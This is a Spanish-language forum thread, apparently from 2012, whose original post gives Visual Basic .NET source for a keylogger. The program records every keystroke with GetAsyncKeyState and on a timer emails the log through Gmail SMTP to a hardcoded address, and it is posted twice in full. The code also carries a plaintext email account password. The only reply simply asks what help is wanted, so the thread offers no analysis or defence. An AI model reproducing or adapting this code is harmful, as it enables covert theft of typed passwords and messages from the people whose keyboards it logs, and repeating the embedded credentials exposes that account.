none
Programa RRS feed

  • Pregunta

  • Imports

    System.Web

    Imports

    System.IO

    Imports

    System.Net.Mail

    Public

    Class form1

    Dim result As Integer

    Private Declare Function GetAsynckeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Form1_Load(ByVal Sender As System.Object, ByVal E As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

    For i = 1 To 255

    result = 0

    result = GetAsynckeyState(i)

    If result = 32767 Then

    TextBox1.Text = TextBox1.Text + Chr(i)

    End If

    Next

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

    Dim Mail As New MailMessage

    Dim SmtpServer As New SmtpClient

    SmtpServer.Credentials =

    New Net.NetworkCredential("Cristo.Rey.00.00@gmail.com", "chachocross85")

    SmtpServer.Port = 587

    SmtpServer.Host =

    "Smtp.Gmail.com"

    SmtpServer.EnableSsl =

    True

    SmtpServer.EnableSsl =

    True

    Mail.To.Add(

    "Cristo.Rey.00.00@gmail.com")

    Mail.From =

    New MailAddress("Cristo.Rey.00.00@gmail.com")

    Mail.Subject =

    "Log del keylogger"

    Mail.Body = TextBox1.Text

    SmtpServer.Send(Mail)

    End Sub

    End

    Class

    martes, 10 de julio de 2012 23:18

Todas las respuestas

  • Imports

    System.Web

    Imports

    System.IO

    Imports

    System.Net.Mail

    Public

    Class form1

    Dim result As Integer

    Private Declare Function GetAsynckeyState Lib "user32" (ByVal vKey As Long) As Integer

    Private Sub Form1_Load(ByVal Sender As System.Object, ByVal E As System.EventArgs) Handles MyBase.Load

    End Sub

    Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick

    For i = 1 To 255

    result = 0

    result = GetAsynckeyState(i)

    If result = 32767 Then

    TextBox1.Text = TextBox1.Text + Chr(i)

    End If

    Next

    End Sub

    Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick

    Dim Mail As New MailMessage

    Dim SmtpServer As New SmtpClient

    SmtpServer.Credentials =

    New Net.NetworkCredential("Cristo.Rey.00.00@gmail.com", "chachocross85")

    SmtpServer.Port = 587

    SmtpServer.Host =

    "Smtp.Gmail.com"

    SmtpServer.EnableSsl =

    True

    SmtpServer.EnableSsl =

    True

    Mail.To.Add(

    "Cristo.Rey.00.00@gmail.com")

    Mail.From =

    New MailAddress("Cristo.Rey.00.00@gmail.com")

    Mail.Subject =

    "Log del keylogger"

    Mail.Body = TextBox1.Text

    SmtpServer.Send(Mail)

    End Sub

    End

    Class


    martes, 10 de julio de 2012 23:19
  • Quieres ayuda con algo????

    Si mi respuesta te ha ayudado a resolver tus problemas, Selecciona "Me ha servido como ayuda"

    miércoles, 11 de julio de 2012 20:23